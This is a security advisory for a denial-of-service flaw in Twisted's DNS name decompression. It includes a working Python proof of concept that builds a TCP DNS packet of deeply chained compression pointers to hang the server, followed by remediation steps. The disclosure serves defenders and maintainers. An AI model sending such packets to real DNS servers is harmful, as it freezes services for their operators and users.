Vulnerability GHSA-grgv-6hw6-v9g4

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

PoC

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Remediation

• Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
• Share the "resolved offset" state across all records in a single message to prevent redundant processing.
• Validate the number of questions before entering the decoding loop in Message.decode.

Author: Tomas Illuminati